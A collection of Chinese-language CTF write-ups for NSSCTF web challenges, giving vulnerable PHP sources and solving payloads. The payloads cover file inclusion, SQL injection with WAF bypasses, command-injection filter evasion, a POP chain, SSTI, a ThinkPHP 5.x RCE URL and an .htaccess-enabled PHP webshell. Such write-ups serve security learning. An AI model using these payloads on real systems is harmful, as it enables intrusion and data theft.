目录

NSSCTF的WriteUP

Web

[SWPUCTF 2021 新生赛]include

<?php  
ini_set("allow_url_include","on");  
header("Content-type: text/html; charset=utf-8");  
error_reporting(0);  
$file=$_GET['file'];  
if(isset($file)){    
	show_source(__FILE__);  
    echo 'flag 在flag.php中';  
}
else{  
    echo "传入一个file试试";  
}  
echo "</br>";  
echo "</br>";  
echo "</br>";  
echo "</br>";  
echo "</br>";  
include_once($file);  
?>
  • 源代码中显示 allow_url_include 开启,在开启 allow_url_include 配置项后,PHP 将能够通过 include 等函数将远程文件包含至当前文件并将其作为 PHP 代码进行执行
  • 而开启 allow_url_fopen 配置项后,PHP 仅能够对远程文件进行读写等文件操作
  • 然后可以使用 PHP 伪协议来进行一系列的操作

PHP 伪协议

  • PHP 支持的伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
  • php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter 流会被当作 php 文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
  • 包含函数有 require()require_once()include()include_once() 等。
# 这里对数据流用了base64编码,所以与包含函数结合时,不会运行源文件,进而任意文件读取。
php://filter/convert.base64-encode/resource=hint.php
# 而这个读的同时如果和包含函数结合,就会执行该文件。(如果能执行的话)
php://filter/resource=index.php

[SWPUCTF 2021 新生赛]PseudoProtocols

  • 接上一题,这题要用到另一种伪协议 data://
<?php  
ini_set("max_execution_time", "180");  
show_source(__FILE__);  
include('flag.php');  
$a= $_GET["a"];  
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){  
    echo "success\n";  
    echo $flag;  
}  
?>

Payload:

/?a=data://text/plain;base64,SSB3YW50IGZsYWc=

[SWPUCTF 2021 新生赛]easyupload2.0

  • 题目对文件头和后缀进行检查,对所有后缀含有 .php 的全部 ban 掉了。
  • 所以,我们可以将后缀改为 .phtml 即可绕过限制。

[SWPUCTF 2021 新生赛]easyupload3.0

  • 这题对文件内容没有限制,但不能上传 php 文件。
  • 同时,这题可以上传 .htaccess 文件,那么我们就可以将“马”与该文件配合,让服务器将“马”(图片)解析为 php 文件即可完成注入。
// .htaccess
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
  • 之后,再将“马”的文件名改成 1.png 上传即可。

[NISACTF 2022]easyssrf

  • 首先,页面有一个可以执行 curl 的输入框,尝试用该功能看 flag.php
  • 出现提示可以去看 /fl4g 文件,看完之后提示可以看 ha1x1ux1u.php 页面。
    而读取页面有以下代码:
<?php

highlight_file(__FILE__);
error_reporting(0);

// stristr()搜索第一次出现的字符串,并返回该字符串后面的字符
$file = $_GET["file"];
if (stristr($file, "file")){
	die("你败了.");
}

//flag in /flag
echo file_get_contents($file);
?>

Payload:

/ha1x1ux1u.php?file=php://filter/resource=/flag

[BJDCTF 2020]easy_md5

  • 题目提示
hint: select * from 'admin' where password=md5($pass,true)

这里面 password 就是我们用户框中输入得东西,如果通过md5之后返回字符串是 'or 1 的话,就形成一个永真条件。

而所谓的万能密码 ffifdyop 就是经过 md5 加密后的值为 276f722736c95d99e921722cf9ed621c,而该字符串 hex 转 ascii 后的 276f722736,刚好是 'or'6 ,所以拼接之后的形式是 select * from 'admin' where password=''or'6xxxxx' 刚好就等价一个永真式,所以就能绕过 md5 函数了。

  • 之后就是简单的数组绕过即可。

[suctf 2019]EasySQL

  • 首先,尝试各种注入后发现无果,最后尝试堆叠注入就成功了。
1;show databases#
  • 然后继续查表。
1;show tables#
  • 但是接下来的 1;select columns from 'Flag'# 却不行了。
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据 || 内置的一个列名 from 表名=>即为 select  $_POST['query'] || flag from Flag

看了 WP 后才知道要猜它原来后端的查询语句的结构是什么样的。

Payload:
1、可以直接 *,1,语句拼接后为 select *,1 || flag from Flag
2、官方给的 payload 是 1;set sql_mode=PIPES_AS_CONCAT;select 1

  • 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 “或” 运算符。

[GXYCTF 2019]Ping Ping Ping

  • 根据题目意思,输入地址执行了 ping 命令,所以我们考虑这里能通过拼接执行其他命令。
  • 尝试 ;ls,发现存在 flag.php 文件,尝试直接读取,发现存在空格过滤。
  • 之后尝试以下命令。
;cat<>flag.php      // 过滤了<>
;cat${IFS}$flag.php // 过滤了{}
;cat$IFS$1flag.php  // 过滤了flag
  • 那么我们执行 ;cat$IFS$1index.php 来查看源代码,以获取过滤规则,来思考如何绕过。
<?php
if(isset($_GET['ip'])){
	$ip = $_GET['ip'];
	if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
		print_r($match);
		print($ip);
		echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
		die("fxck your symbol!");
	}
	else if(preg_match("/ /", $ip)){
		die("fxck your space!");
	}
	else if(preg_match("/bash/", $ip)){
		die("fxck your bash!");
	}
	else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
		die("fxck your flag!");
	}
	$a = shell_exec("ping -c 4 ".$ip);
	echo "<pre>";
	print_r($a);
}
?>

Payload:

1、?ip=127.0.0.1;cat$IFS$9`ls`
2、?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
3、?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

关键词绕过小结

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1           //$1改成$加其他数字貌似都行
IFS
<
<> 
{cat,flag.php}   //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

内联执行绕过(就是将反引号内命令的输出作为输入执行)

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

[SWPUCTF 2021 新生赛]hardrce

  • 题目源码
<?php  
header("Content-Type:text/html;charset=utf-8");  
error_reporting(0);  
highlight_file(__FILE__);  
if(isset($_GET['wllm']))  
{    
	$wllm = $_GET['wllm'];
	$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];  
    foreach ($blacklist as $blackitem)  
    {  
        if (preg_match('/' . $blackitem . '/m', $wllm)) {  
        die("LTLT说不能用这些奇奇怪怪的符号哦!");  
    	}
    }  
	if(preg_match('/[a-zA-Z]/is',$wllm))  
	{  
    	die("Ra's Al Ghul说不能用字母哦!");  
	}  
	echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";  
	eval($wllm);  
}  
else  
{  
    echo "蔡总说:注意审题!!!";  
}  
?>
  • 这里过滤了大部分的字符,所以我们不能使用常规的绕过方法。
  • 又因为这里过滤了 ^ 和`,所以我们就不能使用异或和或运算,那就只剩取反了。
    Payload:
<?php
    $a = "system";
    $b = "cat /f*";
    echo "(~".urlencode(~$a).")";
    echo "(~".urlencode(~$b).");";
?>
// 执行结果为:(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

[SWPUCTF 2021 新生赛]pop

  • 题目源码
<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);
?> 

Payload:

<?php

class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$a = new w22m();
$b = new w33m();
$c = new w44m();

$a -> w00m = $b;
$b -> w00m = $c;
$b -> w22m = 'Getflag';

echo urlencode(serialize($a));
?>

这里的 adminpasswd 两个参数受到保护,所以要在类中直接修改,不能传参修改!

[SWPUCTF 2021 新生赛]sql

  • 测试一下,sqlmap 不能自动注入,有 WAF 要手动绕过。
  • 测试发现这题对空格和等号进行了过滤,测试发现在第二处有回显。
/?wllm=-1%27/**/union/**/select/**/1,showbase(),1%23

Payload:

/?wllm=-1%27/**/union/**/select/**/1,group_concat(table_name),1/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
/?wllm=-1%27/**/union/**/select/**/1,group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
/?wllm=-1%27/**/union/**/select/**/1,flag,1/**/from/**/test_db.LTLT_flag%23
/*这里flag太长了,需要用mid()函数来截取flag。*/
/?wllm=-1%27/**/union/**/select/**/1,mid(flag,21,20),1/**/from/**/test_db.LTLT_flag%23

[SWPUCTF 2021 新生赛]finalrce

  • 题目源码
<?php  
highlight_file(__FILE__);  
if(isset($_GET['url']))  
{    
	$url=$_GET['url'];
	if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))  
    {  
        echo "Sorry,you can't use this.";  
    }  
    else  
    {  
        echo "Can you see anything?";
        exec($url);  
    }  
}
  • 因为这里是 exec 所以执行命令后不回显,我们可以构造命令 l''s /;sleep 5 来测试命令是否执行成功,尝试后发现命令成功执行,我们需要对其进一步利用以获取 flag。
  • 可以将结果使用 tee 命令输出到 txt 中,然后访问 txt 来查看命令执行的结果。
l''s /|tee 1.txt
ca''t flllll''aaaaaaggggggg|tee 2.txt

[鹏城杯 2022]简单包含

  • 题目源码
<?php 
	$path = $_POST["flag"];
	if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) 
	{ 
		echo 'nssctf waf!'; 
	} 
	else 
	{ 
		@include($path); 
	} 
?> 

<?php   
highlight_file(__FILE__);  
include($_POST["flag"]);
// flag in /var/www/html/flag.php;
?>

Payload:

a=a(800个a)&flag=php://filter/convert.base64-encode/resource=flag.php

[NSSCTF 2022 Spring Recruit]babyphp

  • 题目源码
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?>
  • 这里有 intval() 函数作用是获取变量的整数值,也是强制类型转换。 #intval绕过
    绕过思路:
  • 1、使用八进制或十六进制来表示被禁止使用的数字。
  • 2、传递一个非空数组,这样就能使该函数返回 1,从而绕过。

[鹤城杯 2021]EasyP

  • 题目源码
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}
else{
    show_source(__FILE__);
}
?> 
  • 首先我们要了解一下 $_SERVER 参数。
案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root $_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo 
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root

Payload:

/index.php/utils.php/%a0?show+source=1

为什么前面需要添加一个 /index.php 呢?

  • 因为当我们传入 index.php/utils.php 时,仍然请求的是 index.php
  • 但是当 basename() 处理后,highlight_file() 得到的参数就变成了 utils.php,从而我们就实现了任意文件包含。

[CISCN 2019华东南]Web11

  • 看到可以获取 IP,联想到可以伪造 XFF。

  • 看到页尾有 Smarty,就能联想到这是 PHP 模板注入。
    /Picture/屏幕截图%202024-10-23%20160853.png

    Payload:

X-Forwarded-For: {system('cat /flag')}

[强网杯 2019]随便注

1';show databases#
1';use supersqli;show tables#
1';use supersqli;desc `1919810931114514`# // 发现看不了数据
1';use supersqli;select flag from `1919810931114514`# //发现也看不了

Payload:

// 第一种,用十六进制编码绕过
1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql#
// 第二种,用其他函数绕过
1';handler `1919810931114514` open;handler `1919810931114514` read next#

[GXYCTF 2019]BabyUpload

  • 图片上传,尝试过一圈后发现只能传 jpg,还有 MIME 检测。
  • 尝试上传 .htaccess 文件,来使 jpg 被解析成 php,但后面发现其对 <?> 有检测,所以在看过 WP 后知道要修改 .htaccess 文件。
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
  • 将图片马修改为
GIF89a
<script language='php'>
system($_POST['zhu']);
show_source("/flag");
</script>
  • 上传即可!

[SWPUCTF 2022 新生赛]ez_rce

  • 扫目录,发现 robots.txt,访问对应目录,发现是 ThinkPHP,再用工具一扫。
  • 存在 ThinkPHP 5.0.22/5.1.29 RCE,Payload:
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls;
  • 发现 flag 不在 /flag 里,出题人把 flag 藏起来了,再仔细查看发现有 /nss 目录,那么再进一步探索发现 flag 在 /nss/ctf/flag/flag 里面。

[鹤城杯 2021]Middle magic

  • 题目源码
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }
    }
    else{
        echo 'nonono!';
    }
    echo '<hr>';
}
?>
  • 首先,第一个判断处由于其没有多行匹配 /m,所以我们可以使用换行符来绕过。
/?aaa=%0Apass_the_level_1%23
  • 第二处有 sha() 加密,所以我们直接使用数组绕过。
admin[]=1&root_pwd[]=2
  • 最后,直接猜测 $result='flag',直接传 json。
{"result": "flag"}

[WUSTCTF 2020]朴实无华

  • 题目源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
  • 这里第一处的绕过非常巧妙,intval() 函数能强制转换数据为整数,我们需要构造一个能满足条件的特别的数字,又因为该函数会直接忽略非数字字符后的内容,那么我们就能想到构造浮点数去绕过。
?num=2019e8
  • 第二个 md5 就简单的 0e 绕过即可,而最后直接空格绕过,然后命令执行即可。
    Payload:
?num=2019e8&md5=0e215962017&get_flag=tac<>fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[SWPUCTF 2022 新生赛]ez_sql

  • 尝试联合注入,发现报错,且空格和 union 被消除。
-1' union select 1,2%23
  • 想办法绕过,通过隔开字符成功绕过。
-1'/**/ununionion/**/select/**/1,2,3%23
/*第一行没有内容,所以我们来看第二行*/
-1'/**/ununionion/**/select/**/1,2,3/**/limit/**/1,1%23  
  • 按常规流程注入,但发现 or 也会被过滤,所以要再次构造。
-1'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

-1'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1%23

-1'/**/ununionion/**/select/**/id,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23

换行:limit/**/1,1#